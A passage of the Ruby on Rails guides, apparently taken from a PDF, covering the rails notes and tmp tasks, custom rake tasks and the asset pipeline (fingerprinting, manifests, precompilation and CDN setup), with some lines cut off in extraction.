* [ 17] [FIXME]

You can add support for new file extensions using

config.annotations.register_extensions option, which receives a list
of the extensions with its corresponding regex to match it up.

config.annotations.register_extensions("scss", "sass", "less") {

If you are looking for a specific annotation, say FIXME, you can use
bin/rails notes:fixme. Note that you have to lower case the
annotation's name.

$ bin/rails notes:fixme
(in /home/foobar/commandsapp)
app/controllers/admin/users_controller.rb:
* [132] high priority for next deploy
app/models/school.rb:
* [ 17]

You can also use custom annotations in your code and list them using
bin/rails notes:custom by specifying the annotation using an
environment variable ANNOTATION.
$ bin/rails notes:custom ANNOTATION=BUG
(in /home/foobar/commandsapp)
app/models/article.rb:
* [ 23] Have to fix this one before pushing!

When using specific annotations and custom annotations, the annotation

name (FIXME, BUG etc) is not displayed in the output lines.
By default, rails notes will look in the app, config, db, lib and test
directories. If you would like to search other directories, you can provide
them as a comma separated list in an environment variable
SOURCE_ANNOTATION_DIRECTORIES.
$ export SOURCE_ANNOTATION_DIRECTORIES='spec,vendor'
$ bin/rails notes
(in /home/foobar/commandsapp)
app/models/user.rb:
* [ 35] [FIXME] User should have a subscription at this point
spec/models/user_spec.rb:
* [122] [TODO] Verify the user that has a subscription works

2.5 routes
rails routes will list all of your defined routes, which is useful for

tracking down routing problems in your app, or giving you a good

overview of the URLs in an app you're trying to get familiar with.
2.6 test
A good description of unit testing in Rails is given in A Guide to Testing
Rails Applications
Rails comes with a test suite called Minitest. Rails owes its stability to the
use of tests. The tasks available in the test: namespace helps in running
the different tests you will hopefully write.
2.7 tmp
The Rails.root/tmp directory is, like the *nix /tmp directory, the holding
place for temporary files like process id files and cached actions.
The tmp: namespaced tasks will help you clear and create the
Rails.root/tmp directory:
rails tmp:cache:clear clears tmp/cache.
rails tmp:sockets:clear clears tmp/sockets.
rails tmp:clear clears all cache and sockets files.
rails tmp:create creates tmp directories for cache, sockets and

pids.
2.8 Miscellaneous
rails stats is great for looking at statistics on your code, displaying

things like KLOCs (thousands of lines of code) and your code to test
ratio.
rails secret will give you a pseudo-random key to use for your
session secret.
rails time:zones:all lists all the timezones Rails knows about.

2.9 Custom Rake Tasks

Custom rake tasks have a .rake extension and are placed in
Rails.root/lib/tasks. You can create these custom rake tasks with the
bin/rails generate task command.

desc "I am short, but comprehensive description for my cool task

task task_name: [:prerequisite_task, :another_task_we_depend_on]
# All your magic here
# Any valid Ruby code is allowed
end

To pass arguments to your custom rake task:

task :task_name, [:arg_1] => [:prerequisite_1, :prerequisite_2]

argument_1 = args.arg_1
end

You can group tasks by placing them in namespaces:

namespace :db do
desc "This task does nothing"
task :nothing do
# Seriously, nothing
end
end

Invocation of the tasks will look like:

$ bin/rails task_name
$ bin/rails "task_name[value 1]" # entire argument string should
$ bin/rails db:nothing

If your need to interact with your application models, perform database

queries and so on, your task should depend on the environment task,

which will load your application code.

3 The Rails Advanced Command Line

More advanced use of the command line is focused around finding useful
(even surprising at times) options in the utilities, and fitting those to your
needs and specific work flow. Listed here are some tricks up Rails' sleeve.
3.1 Rails with Databases and SCM
When creating a new Rails application, you have the option to specify
what kind of database and what kind of source code management system
your application is going to use. This will save you a few minutes, and
certainly many keystrokes.
Let's see what a --git option and a --database=postgresql option will
do for us:
$ mkdir gitapp
$ cd gitapp
$ git init
Initialized empty Git repository in .git/
$ rails new . --git --database=postgresql
exists
create app/controllers
create app/helpers
...
...
create tmp/cache
create tmp/pids
create Rakefile
add 'Rakefile'
create README.md
add 'README.md'
create app/controllers/application_controller.rb
add 'app/controllers/application_controller.rb'
create app/helpers/application_helper.rb
...
create log/test.log
add 'log/test.log'

We had to create the gitapp directory and initialize an empty git repository
before Rails would add files it created to our repository. Let's see what it
put in our database configuration:

$ cat config/database.yml
# PostgreSQL. Versions 9.1 and up are supported.
#
# Install the pg driver:
# gem install pg
# On OS X with Homebrew:
# gem install pg -- --with-pg-config=/usr/local/bin/pg_config
# On OS X with MacPorts:
# gem install pg -- --with-pg-config=/opt/local/lib/postgresql
# On Windows:
# gem install pg
# Choose the win32 build.
# Install PostgreSQL and put its /bin directory on your pa
#
# Configure Using Gemfile
# gem 'pg'
#
development:
adapter: postgresql
encoding: unicode
database: gitapp_development
pool: 5
username: gitapp
password:
...
...

It also generated some lines in our database.yml configuration

corresponding to our choice of PostgreSQL for database.
The only catch with using the SCM options is that you have to make your
application's directory first, then initialize your SCM, then you can run the
rails new command to generate the basis of your app.

The Asset Pipeline Ruby on

Rails...

1 What is the Asset Pipeline?

The asset pipeline provides a framework to concatenate and minify or
compress JavaScript and CSS assets. It also adds the ability to write these
assets in other languages and pre-processors such as CoffeeScript, Sass
and ERB. It allows assets in your application to be automatically combined
with assets from other gems. For example, jquery-rails includes a copy of
jquery.js and enables AJAX features in Rails.
The asset pipeline is implemented by the sprockets-rails gem, and is
enabled by default. You can disable it while creating a new application by
passing the --skip-sprockets option.
rails new appname --skip-sprockets

Rails automatically adds the sass-rails, coffee-rails and uglifier

gems to your Gemfile, which are used by Sprockets for asset compression:
gem 'sass-rails'
gem 'uglifier'
gem 'coffee-rails'

Using the --skip-sprockets option will prevent Rails from adding them
to your Gemfile, so if you later want to enable the asset pipeline you will
have to add those gems to your Gemfile. Also, creating an application with
the --skip-sprockets option will generate a slightly different
config/application.rb file, with a require statement for the sprockets
railtie that is commented-out. You will have to remove the comment
operator on that line to later enable the asset pipeline:
# require "sprockets/railtie"

To set asset compression methods, set the appropriate configuration

options in production.rb - config.assets.css_compressor for your

CSS and config.assets.js_compressor for your JavaScript:
config.assets.css_compressor = :yui
config.assets.js_compressor = :uglifier

The sass-rails gem is automatically used for CSS compression if

included in the Gemfile and no config.assets.css_compressor option is
set.
1.1 Main Features
The first feature of the pipeline is to concatenate assets, which can reduce
the number of requests that a browser makes to render a web page. Web
browsers are limited in the number of requests that they can make in
parallel, so fewer requests can mean faster loading for your application.
Sprockets concatenates all JavaScript files into one master .js file and all
CSS files into one master .css file. As you'll learn later in this guide, you
can customize this strategy to group files any way you like. In production,
Rails inserts an MD5 fingerprint into each filename so that the file is
cached by the web browser. You can invalidate the cache by altering this
fingerprint, which happens automatically whenever you change the file
contents.
The second feature of the asset pipeline is asset minification or
compression. For CSS files, this is done by removing whitespace and
comments. For JavaScript, more complex processes can be applied. You
can choose from a set of built in options or specify your own.
The third feature of the asset pipeline is it allows coding assets via a
higher-level language, with precompilation down to the actual assets.
Supported languages include Sass for CSS, CoffeeScript for JavaScript,
and ERB for both by default.

1.2 What is Fingerprinting and Why Should I Care?

Fingerprinting is a technique that makes the name of a file dependent on
the contents of the file. When the file contents change, the filename is also
changed. For content that is static or infrequently changed, this provides an
easy way to tell whether two versions of a file are identical, even across
different servers or deployment dates.
When a filename is unique and based on its content, HTTP headers can be
set to encourage caches everywhere (whether at CDNs, at ISPs, in
networking equipment, or in web browsers) to keep their own copy of the
content. When the content is updated, the fingerprint will change. This will
cause the remote clients to request a new copy of the content. This is
generally known as cache busting.
The technique sprockets uses for fingerprinting is to insert a hash of the
content into the name, usually at the end. For example a CSS file
global.css
global-908e25f4bf641868d8683022a5b62f54.css

This is the strategy adopted by the Rails asset pipeline.

Rails' old strategy was to append a date-based query string to every asset
linked with a built-in helper. In the source the generated code looked like
this:
/stylesheets/global.css?1309495796

The query string strategy has several disadvantages:

1. Not all caches will reliably cache content where the filename only
differs by query parameters Steve Souders recommends,

"...avoiding a querystring for cacheable resources". He found that in

this case 5-20% of requests will not be cached. Query strings in
particular do not work at all with some CDNs for cache invalidation.
2. The file name can change between nodes in multi-server
environments. The default query string in Rails 2.x is based on the
modification time of the files. When assets are deployed to a cluster,
there is no guarantee that the timestamps will be the same, resulting
in different values being used depending on which server handles the
request.
3. Too much cache invalidation When static assets are deployed with
each new release of code, the mtime (time of last modification) of all
these files changes, forcing all remote clients to fetch them again,
even when the content of those assets has not changed.
Fingerprinting fixes these problems by avoiding query strings, and by
ensuring that filenames are consistent based on their content.
Fingerprinting is enabled by default for both the development and
production environments. You can enable or disable it in your
configuration through the config.assets.digest option.
More reading:
Optimize caching
Revving Filenames: don't use querystring

2 How to Use the Asset Pipeline

In previous versions of Rails, all assets were located in subdirectories of
public such as images, javascripts and stylesheets. With the asset
pipeline, the preferred location for these assets is now the app/assets
directory. Files in this directory are served by the Sprockets middleware.
Assets can still be placed in the public hierarchy. Any assets under
public will be served as static files by the application or web server when
config.public_file_server.enabled is set to true. You should use
app/assets for files that must undergo some pre-processing before they
are served.
In production, Rails precompiles these files to public/assets by default.
The precompiled copies are then served as static assets by the web server.
The files in app/assets are never served directly in production.
2.1 Controller Specific Assets
When you generate a scaffold or a controller, Rails also generates a
JavaScript file (or CoffeeScript file if the coffee-rails gem is in the
Gemfile) and a Cascading Style Sheet file (or SCSS file if sass-rails is
in the Gemfile) for that controller. Additionally, when generating a
scaffold, Rails generates the file scaffolds.css (or scaffolds.scss if sassrails is in the Gemfile.)
For example, if you generate a ProjectsController, Rails will also add a
new file at app/assets/javascripts/projects.coffee and another at
app/assets/stylesheets/projects.scss. By default these files will be
ready to use by your application immediately using the require_tree
directive. See Manifest Files and Directives for more details on
require_tree.
You can also opt to include controller specific stylesheets and JavaScript

files only in their respective controllers using the following:

<%= javascript_include_tag params[:controller] %> or <%=
stylesheet_link_tag params[:controller] %>

When doing this, ensure you are not using the require_tree directive, as
that will result in your assets being included more than once.
When using asset precompilation, you will need to ensure that your
controller assets will be precompiled when loading them on a per page
basis. By default .coffee and .scss files will not be precompiled on their
own. See Precompiling Assets for more information on how precompiling
works.
You must have an ExecJS supported runtime in order to use CoffeeScript.
If you are using Mac OS X or Windows, you have a JavaScript runtime
installed in your operating system. Check ExecJS documentation to know
all supported JavaScript runtimes.
You can also disable generation of controller specific asset files by adding
the following to your config/application.rb configuration:
config.generators do |g|
g.assets false
end

2.2 Asset Organization

Pipeline assets can be placed inside an application in one of three
locations: app/assets, lib/assets or vendor/assets.
app/assets is for assets that are owned by the application, such as

custom images, JavaScript files or stylesheets.

lib/assets is for your own libraries' code that doesn't really fit into

the scope of the application or those libraries which are shared across
applications.
vendor/assets is for assets that are owned by outside entities, such
as code for JavaScript plugins and CSS frameworks. Keep in mind
that third party code with references to other files also processed by
the asset Pipeline (images, stylesheets, etc.), will need to be rewritten
to use helpers like asset_path.
If you are upgrading from Rails 3, please take into account that assets
under lib/assets or vendor/assets are available for inclusion via the
application manifests but no longer part of the precompile array. See
Precompiling Assets for guidance.
2.2.1 Search Paths

When a file is referenced from a manifest or a helper, Sprockets searches

the three default asset locations for it.
The default locations are: the images, javascripts and stylesheets
directories under the app/assets folder, but these subdirectories are not
special - any path under assets/* will be searched.
For example, these files:
app/assets/javascripts/home.js
lib/assets/javascripts/moovinator.js
vendor/assets/javascripts/slider.js
vendor/assets/somepackage/phonebox.js

would be referenced in a manifest like this:

//= require home
//= require moovinator
//= require slider
//= require phonebox

Assets inside subdirectories can also be accessed.

app/assets/javascripts/sub/something.js

is referenced as:
//= require sub/something

You can view the search path by inspecting

Rails.application.config.assets.paths in the Rails console.

Besides the standard assets/* paths, additional (fully qualified) paths can
be added to the pipeline in config/application.rb. For example:

config.assets.paths << Rails.root.join("lib", "videoplayer", "fl

Paths are traversed in the order they occur in the search path. By default,
this means the files in app/assets take precedence, and will mask
corresponding paths in lib and vendor.
It is important to note that files you want to reference outside a manifest
must be added to the precompile array or they will not be available in the
production environment.
2.2.2 Using Index Files

Sprockets uses files named index (with the relevant extensions) for a
special purpose.
For example, if you have a jQuery library with many modules, which is
stored in lib/assets/javascripts/library_name, the file
lib/assets/javascripts/library_name/index.js serves as the manifest
for all files in this library. This file could include a list of all the required

files in order, or a simple require_tree directive.

The library as a whole can be accessed in the application manifest like so:
//= require library_name

This simplifies maintenance and keeps things clean by allowing related

code to be grouped before inclusion elsewhere.
2.3 Coding Links to Assets
Sprockets does not add any new methods to access your assets - you still
use the familiar javascript_include_tag and stylesheet_link_tag:
<%= stylesheet_link_tag "application", media: "all" %>
<%= javascript_include_tag "application" %>

If using the turbolinks gem, which is included by default in Rails, then

include the 'data-turbolinks-track' option which causes turbolinks to check
if an asset has been updated and if so loads it into the page:

<%= stylesheet_link_tag "application", media: "all", "data-turbo

<%= javascript_include_tag "application", "data-turbolinks-track

In regular views you can access images in the public/assets/images

directory like this:
<%= image_tag "rails.png" %>

Provided that the pipeline is enabled within your application (and not
disabled in the current environment context), this file is served by
Sprockets. If a file exists at public/assets/rails.png it is served by the
web server.

Alternatively, a request for a file with an MD5 hash such as

public/assets/rails-af27b6a414e6da00003503148be9b409.png is

treated the same way. How these hashes are generated is covered in the In
Production section later on in this guide.
Sprockets will also look through the paths specified in
config.assets.paths, which includes the standard application paths and
any paths added by Rails engines.
Images can also be organized into subdirectories if required, and then can
be accessed by specifying the directory's name in the tag:
<%= image_tag "icons/rails.png" %>

If you're precompiling your assets (see In Production below), linking to an

asset that does not exist will raise an exception in the calling page. This
includes linking to a blank string. As such, be careful using image_tag and
the other helpers with user-supplied data.
2.3.1 CSS and ERB

The asset pipeline automatically evaluates ERB. This means if you add an
erb extension to a CSS asset (for example, application.css.erb), then
helpers like asset_path are available in your CSS rules:
.class { background-image: url(<%= asset_path 'image.png' %>) }

This writes the path to the particular asset being referenced. In this
example, it would make sense to have an image in one of the asset load
paths, such as app/assets/images/image.png, which would be referenced
here. If this image is already available in public/assets as a fingerprinted
file, then that path is referenced.
If you want to use a data URI - a method of embedding the image data

directly into the CSS file - you can use the asset_data_uri helper.
#logo { background: url(<%= asset_data_uri 'logo.png' %>) }

This inserts a correctly-formatted data URI into the CSS source.

Note that the closing tag cannot be of the style -%>.
2.3.2 CSS and Sass

When using the asset pipeline, paths to assets must be re-written and sassrails provides -url and -path helpers (hyphenated in Sass, underscored
in Ruby) for the following asset classes: image, font, video, audio,
JavaScript and stylesheet.
image-url("rails.png") returns url(/assets/rails.png)
image-path("rails.png") returns "/assets/rails.png"

The more generic form can also be used:

asset-url("rails.png") returns url(/assets/rails.png)
asset-path("rails.png") returns "/assets/rails.png"
2.3.3 JavaScript/CoffeeScript and ERB

If you add an erb extension to a JavaScript asset, making it something

such as application.js.erb, you can then use the asset_path helper in
your JavaScript code:
$('#logo').attr({ src: "<%= asset_path('logo.png') %>" });

This writes the path to the particular asset being referenced.

Similarly, you can use the asset_path helper in CoffeeScript files with

erb extension (e.g., application.coffee.erb):

$('#logo').attr src: "<%= asset_path('logo.png') %>"

2.4 Manifest Files and Directives

Sprockets uses manifest files to determine which assets to include and
serve. These manifest files contain directives - instructions that tell
Sprockets which files to require in order to build a single CSS or
JavaScript file. With these directives, Sprockets loads the files specified,
processes them if necessary, concatenates them into one single file and
then compresses them (if Rails.application.config.assets.compress
is true). By serving one file rather than many, the load time of pages can
be greatly reduced because the browser makes fewer requests.
Compression also reduces file size, enabling the browser to download
them faster.
For example, a new Rails application includes a default
app/assets/javascripts/application.js file containing the following
lines:
// ...
//= require jquery
//= require jquery_ujs
//= require_tree .

In JavaScript files, Sprockets directives begin with //=. In the above case,
the file is using the require and the require_tree directives. The
require directive is used to tell Sprockets the files you wish to require.
Here, you are requiring the files jquery.js and jquery_ujs.js that are
available somewhere in the search path for Sprockets. You need not supply
the extensions explicitly. Sprockets assumes you are requiring a .js file
when done from within a .js file.

The require_tree directive tells Sprockets to recursively include all

JavaScript files in the specified directory into the output. These paths must
be specified relative to the manifest file. You can also use the
require_directory directive which includes all JavaScript files only in
the directory specified, without recursion.
Directives are processed top to bottom, but the order in which files are
included by require_tree is unspecified. You should not rely on any
particular order among those. If you need to ensure some particular
JavaScript ends up above some other in the concatenated file, require the
prerequisite file first in the manifest. Note that the family of require
directives prevents files from being included twice in the output.
Rails also creates a default app/assets/stylesheets/application.css
file which contains these lines:
/* ...
*= require_self
*= require_tree .
*/

Rails creates both app/assets/javascripts/application.js and

app/assets/stylesheets/application.css regardless of whether the -skip-sprockets option is used when creating a new rails application. This is
so you can easily add asset pipelining later if you like.
The directives that work in JavaScript files also work in stylesheets
(though obviously including stylesheets rather than JavaScript files). The
require_tree directive in a CSS manifest works the same way as the
JavaScript one, requiring all stylesheets from the current directory.
In this example, require_self is used. This puts the CSS contained within
the file (if any) at the precise location of the require_self call.
If you want to use multiple Sass files, you should generally use the Sass

@import rule instead of these Sprockets directives. When using Sprockets

directives, Sass files exist within their own scope, making variables or
mixins only available within the document they were defined in.
You can do file globbing as well using @import "*", and @import "**/*"
to add the whole tree which is equivalent to how require_tree works.
Check the sass-rails documentation for more info and important caveats.
You can have as many manifest files as you need. For example, the
admin.css and admin.js manifest could contain the JS and CSS files that
are used for the admin section of an application.
The same remarks about ordering made above apply. In particular, you can
specify individual files and they are compiled in the order specified. For
example, you might concatenate three CSS files together this way:
/* ...
*= require reset
*= require layout
*= require chrome
*/

2.5 Preprocessing
The file extensions used on an asset determine what preprocessing is
applied. When a controller or a scaffold is generated with the default Rails
gemset, a CoffeeScript file and a SCSS file are generated in place of a
regular JavaScript and CSS file. The example used before was a controller
called "projects", which generated an
app/assets/javascripts/projects.coffee and an
app/assets/stylesheets/projects.scss file.
In development mode, or if the asset pipeline is disabled, when these files
are requested they are processed by the processors provided by the

coffee-script and sass gems and then sent back to the browser as

JavaScript and CSS respectively. When asset pipelining is enabled, these

files are preprocessed and placed in the public/assets directory for
serving by either the Rails app or web server.
Additional layers of preprocessing can be requested by adding other
extensions, where each extension is processed in a right-to-left manner.
These should be used in the order the processing should be applied. For
example, a stylesheet called
app/assets/stylesheets/projects.scss.erb is first processed as ERB,
then SCSS, and finally served as CSS. The same applies to a JavaScript
file - app/assets/javascripts/projects.coffee.erb is processed as
ERB, then CoffeeScript, and served as JavaScript.
Keep in mind the order of these preprocessors is important. For example, if
you called your JavaScript file
app/assets/javascripts/projects.erb.coffee then it would be
processed with the CoffeeScript interpreter first, which wouldn't
understand ERB and therefore you would run into problems.

3 In Development
In development mode, assets are served as separate files in the order they
are specified in the manifest file.
This manifest app/assets/javascripts/application.js:
//= require core
//= require projects
//= require tickets

would generate this HTML:

The body param is required by Sprockets.

3.1 Runtime Error Checking
By default the asset pipeline will check for potential errors in development
mode during runtime. To disable this behavior you can set:
config.assets.raise_runtime_errors = false

When this option is true, the asset pipeline will check if all the assets
loaded in your application are included in the config.assets.precompile
list. If config.assets.digest is also true, the asset pipeline will require
that all requests for assets include digests.
3.2 Turning Digests Off

You can turn off digests by updating

config/environments/development.rb to include:
config.assets.digest = false

When this option is true, digests will be generated for asset URLs.
3.3 Turning Debugging Off
You can turn off debug mode by updating
config/environments/development.rb to include:
config.assets.debug = false

When debug mode is off, Sprockets concatenates and runs the necessary
preprocessors on all files. With debug mode turned off the manifest above
would generate instead:
<script src="/assets/application.js"></script>

Assets are compiled and cached on the first request after the server is
started. Sprockets sets a must-revalidate Cache-Control HTTP header to
reduce request overhead on subsequent requests - on these the browser
gets a 304 (Not Modified) response.
If any of the files in the manifest have changed between requests, the
server responds with a new compiled file.
Debug mode can also be enabled in Rails helper methods:
<%= stylesheet_link_tag "application", debug: true %>
<%= javascript_include_tag "application", debug: true %>

The :debug option is redundant if debug mode is already on.

You can also enable compression in development mode as a sanity check,
and disable it on-demand as required for debugging.

4 In Production
In the production environment Sprockets uses the fingerprinting scheme
outlined above. By default Rails assumes assets have been precompiled
and will be served as static assets by your web server.
During the precompilation phase an MD5 is generated from the contents of
the compiled files, and inserted into the filenames as they are written to
disk. These fingerprinted names are used by the Rails helpers in place of
the manifest name.
For example this:
<%= javascript_include_tag "application" %>
<%= stylesheet_link_tag "application" %>

generates something like this:

with the Asset Pipeline the :cache and :concat options aren't used
anymore, delete these options from the javascript_include_tag and
stylesheet_link_tag.
The fingerprinting behavior is controlled by the config.assets.digest
initialization option (which defaults to true).
Under normal circumstances the default config.assets.digest option
should not be changed. If there are no digests in the filenames, and farfuture headers are set, remote clients will never know to refetch the files
when their content changes.

4.1 Precompiling Assets

Rails comes bundled with a task to compile the asset manifests and other
files in the pipeline.
Compiled assets are written to the location specified in
config.assets.prefix. By default, this is the /assets directory.
You can call this task on the server during deployment to create compiled
versions of your assets directly on the server. See the next section for
information on compiling locally.
The task is:
$ RAILS_ENV=production bin/rails assets:precompile

Capistrano (v2.15.1 and above) includes a recipe to handle this in

deployment. Add the following line to Capfile:
load 'deploy/assets'

This links the folder specified in config.assets.prefix to

shared/assets. If you already use this shared folder you'll need to write
your own deployment task.
It is important that this folder is shared between deployments so that
remotely cached pages referencing the old compiled assets still work for
the life of the cached page.
The default matcher for compiling files includes application.js,
application.css and all non-JS/CSS files (this will include all image
assets automatically) from app/assets folders including your gems:

[ Proc.new { |filename, path| path =~ /app\/assets/ && !%w(.js .

/application.(css|js)$/ ]

The matcher (and other members of the precompile array; see below) is
applied to final compiled file names. This means anything that compiles to
JS/CSS is excluded, as well as raw JS/CSS files; for example, .coffee and
.scss files are not automatically included as they compile to JS/CSS.
If you have other manifests or individual stylesheets and JavaScript files to
include, you can add them to the precompile array in
config/initializers/assets.rb:

Rails.application.config.assets.precompile += ['admin.js', 'admi

Always specify an expected compiled filename that ends with .js or .css,
even if you want to add Sass or CoffeeScript files to the precompile array.
The task also generates a manifest-md5hash.json that contains a list with
all your assets and their respective fingerprints. This is used by the Rails
helper methods to avoid handing the mapping requests back to Sprockets.
A typical manifest file looks like:

{"files":{"application-723d1be6cc741a3aabb1cec24276d681.js":{"lo
"digest":"723d1be6cc741a3aabb1cec24276d681"},"application-12b3c7
"digest":"12b3c7dd74d2e9df37e7cbb1efa76a6d"},"application-1c5752
"digest":"1c5752789588ac18d7e1a50b1f0fd4c2"},"favicon-a9c641bf2b
"digest":"a9c641bf2b81f0476e876f7c5e375969"},"my_image-231a680f2
"digest":"231a680f23887d9dd70710ea5efd3c62"}},"assets":{"applica
"application-723d1be6cc741a3aabb1cec24276d681.js","application.c
"application-1c5752789588ac18d7e1a50b1f0fd4c2.css",
"favicon.ico":"favicona9c641bf2b81f0476e876f7c5e375969.ico","my_
"my_image-231a680f23887d9dd70710ea5efd3c62.png"}}

The default location for the manifest is the root of the location specified in
config.assets.prefix ('/assets' by default).

If there are missing precompiled files in production you will get an

Sprockets::Helpers::RailsHelper::AssetPaths::AssetNotPrecompiled

exception indicating the name of the missing file(s).

4.1.1 Far-future Expires Header

Precompiled assets exist on the file system and are served directly by your
web server. They do not have far-future headers by default, so to get the
benefit of fingerprinting you'll have to update your server configuration to
add those headers.
For Apache:
# The Expires* directives requires the Apache module
# `mod_expires` to be enabled.
<Location /assets/>
# Use of ETag is discouraged when Last-Modified is present
Header unset ETag
FileETag None
# RFC says only cache for 1 year
ExpiresActive On
ExpiresDefault "access plus 1 year"
</Location>

For NGINX:
location ~ ^/assets/ {
expires 1y;
add_header Cache-Control public;
add_header ETag "";
}

4.2 Local Precompilation

There are several reasons why you might want to precompile your assets

locally. Among them are:

You may not have write access to your production file system.
You may be deploying to more than one server, and want to avoid
duplication of work.
You may be doing frequent deploys that do not include asset changes.
Local compilation allows you to commit the compiled files into source
control, and deploy as normal.
There are three caveats:
You must not run the Capistrano deployment task that precompiles
assets.
You must ensure any necessary compressors or minifiers are
available on your development system.
You must change the following application configuration setting:
In config/environments/development.rb, place the following line:
config.assets.prefix = "/dev-assets"

The prefix change makes Sprockets use a different URL for serving
assets in development mode, and pass all requests to Sprockets. The prefix
is still set to /assets in the production environment. Without this change,
the application would serve the precompiled assets from /assets in
development, and you would not see any local changes until you compile
assets again.
In practice, this will allow you to precompile locally, have those files in
your working tree, and commit those files to source control when needed.
Development mode will work as expected.
4.3 Live Compilation

In some circumstances you may wish to use live compilation. In this mode
all requests for assets in the pipeline are handled by Sprockets directly.
To enable this option set:
config.assets.compile = true

On the first request the assets are compiled and cached as outlined in
development above, and the manifest names used in the helpers are altered
to include the MD5 hash.
Sprockets also sets the Cache-Control HTTP header to maxage=31536000. This signals all caches between your server and the client
browser that this content (the file served) can be cached for 1 year. The
effect of this is to reduce the number of requests for this asset from your
server; the asset has a good chance of being in the local browser cache or
some intermediate cache.
This mode uses more memory, performs more poorly than the default and
is not recommended.
If you are deploying a production application to a system without any preexisting JavaScript runtimes, you may want to add one to your Gemfile:
group :production do
gem 'therubyracer'
end

4.4 CDNs
CDN stands for Content Delivery Network, they are primarily designed to
cache assets all over the world so that when a browser requests the asset, a
cached copy will be geographically close to that browser. If you are
serving assets directly from your Rails server in production, the best

practice is to use a CDN in front of your application.

A common pattern for using a CDN is to set your production application
as the "origin" server. This means when a browser requests an asset from
the CDN and there is a cache miss, it will grab the file from your server on
the fly and then cache it. For example if you are running a Rails
application on example.com and have a CDN configured at
mycdnsubdomain.fictional-cdn.com, then when a request is made to
mycdnsubdomain.fictional- cdn.com/assets/smile.png, the CDN will
query your server once at example.com/assets/smile.png and cache the
request. The next request to the CDN that comes in to the same URL will
hit the cached copy. When the CDN can serve an asset directly the request
never touches your Rails server. Since the assets from a CDN are
geographically closer to the browser, the request is faster, and since your
server doesn't need to spend time serving assets, it can focus on serving
application code as fast as possible.
4.4.1 Set up a CDN to Serve Static Assets

To set up your CDN you have to have your application running in

production on the internet at a publicly available URL, for example
example.com. Next you'll need to sign up for a CDN service from a cloud
hosting provider. When you do this you need to configure the "origin" of
the CDN to point back at your website example.com, check your provider
for documentation on configuring the origin server.
The CDN you provisioned should give you a custom subdomain for your
application such as mycdnsubdomain.fictional-cdn.com (note fictionalcdn.com is not a valid CDN provider at the time of this writing). Now that
you have configured your CDN server, you need to tell browsers to use
your CDN to grab assets instead of your Rails server directly. You can do
this by configuring Rails to set your CDN as the asset host instead of using
a relative path. To set your asset host in Rails, you need to set
config.action_controller.asset_host in

config/environments/production.rb:

config.action_controller.asset_host = 'mycdnsubdomain.fictional-

You only need to provide the "host", this is the subdomain and root
domain, you do not need to specify a protocol or "scheme" such as
http:// or https://. When a web page is requested, the protocol in the
link to your asset that is generated will match how the webpage is accessed
by default.
You can also set this value through an environment variable to make
running a staging copy of your site easier:
config.action_controller.asset_host = ENV['CDN_HOST']

Note: You would need to set CDN_HOST on your server to mycdnsubdomain

.fictional-cdn.com for this to work.
Once you have configured your server and your CDN when you serve a
webpage that has an asset:
<%= asset_path('smile.png') %>

Instead of returning a path such as /assets/smile.png (digests are left out

for readability). The URL generated will have the full path to your CDN.
http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

If the CDN has a copy of smile.png it will serve it to the browser and
your server doesn't even know it was requested. If the CDN does not have
a copy it will try to find it at the "origin" example.com/assets/smile.png
and then store it for future use.

If you want to serve only some assets from your CDN, you can use custom
:host option your asset helper, which overwrites value set in
config.action_controller.asset_host.

<%= asset_path 'image.png', host: 'mycdnsubdomain.fictional-cdn.

4.4.2 Customize CDN Caching Behavior

A CDN works by caching content. If the CDN has stale or bad content,
then it is hurting rather than helping your application. The purpose of this
section is to describe general caching behavior of most CDNs, your
specific provider may behave slightly differently.
4.4.2.1 CDN Request Caching

While a CDN is described as being good for caching assets, in reality

caches the entire request. This includes the body of the asset as well as any
headers. The most important one being Cache-Control which tells the
CDN (and web browsers) how to cache contents. This means that if
someone requests an asset that does not exist /assets/i-dont-exist.png
and your Rails application returns a 404, then your CDN will likely cache
the 404 page if a valid Cache-Control header is present.
4.4.2.2 CDN Header Debugging

One way to check the headers are cached properly in your CDN is by
using curl. You can request the headers from both your server and your
CDN to verify they are the same:
$ curl -I http://www.example/assets/applicationd0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK
Server: Cowboy
Date: Sun, 24 Aug 2014 20:27:50 GMT
Connection: keep-alive
Last-Modified: Thu, 08 May 2014 01:24:14 GMT

Content-Type: text/css
Cache-Control: public, max-age=2592000
Content-Length: 126560
Via: 1.1 vegur

Versus the CDN copy.

$ curl -I http://mycdnsubdomain.fictional-cdn.com/applicationd0e099e021c95eb0de3615fd1d8c4d83.css
HTTP/1.1 200 OK Server: Cowboy LastModified: Thu, 08 May 2014 01:24:14 GMT Content-Type: text/css
Cache-Control:
public, max-age=2592000
Via: 1.1 vegur
Content-Length: 126560
Accept-Ranges:
bytes
Date: Sun, 24 Aug 2014 20:28:45 GMT
Via: 1.1 varnish
Age: 885814
Connection: keep-alive
X-Served-By: cache-dfw1828-DFW
X-Cache: HIT
X-Cache-Hits:
68
X-Timer: S1408912125.211638212,VS0,VE0

Check your CDN documentation for any additional information they may
provide such as X-Cache or for any additional headers they may add.
4.4.2.3 CDNs and the Cache-Control Header

The cache control header is a W3C specification that describes how a

request can be cached. When no CDN is used, a browser will use this
information to cache contents. This is very helpful for assets that are not
modified so that a browser does not need to re-download a website's CSS
or JavaScript on every request. Generally we want our Rails server to tell
our CDN (and browser) that the asset is "public", that means any cache can

store the request. Also we commonly want to set max-age which is how
long the cache will store the object before invalidating the cache. The maxage value is set to seconds with a maximum possible value of 31536000
which is one year. You can do this in your rails application by setting
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=31536000'
}

Now when your application serves an asset in production, the CDN will
store the asset for up to a year. Since most CDNs also cache headers of the
request, this Cache-Control will be passed along to all future browsers
seeking this asset, the browser then knows that it can store this asset for a
very long time before needing to re-request it.
4.4.2.4 CDNs and URL based Cache Invalidation

Most CDNs will cache contents of an asset based on the complete URL.
This means that a request to
http://mycdnsubdomain.fictional-cdn.com/assets/smile-123.png

Will be a completely different cache from

http://mycdnsubdomain.fictional-cdn.com/assets/smile.png

If you want to set far future max-age in your Cache-Control (and you do),
then make sure when you change your assets that your cache is
invalidated. For example when changing the smiley face in an image from
yellow to blue, you want all visitors of your site to get the new blue face.
When using a CDN with the Rails asset pipeline config.assets.digest is
set to true by default so that each asset will have a different file name
when it is changed. This way you don't have to ever manually invalidate
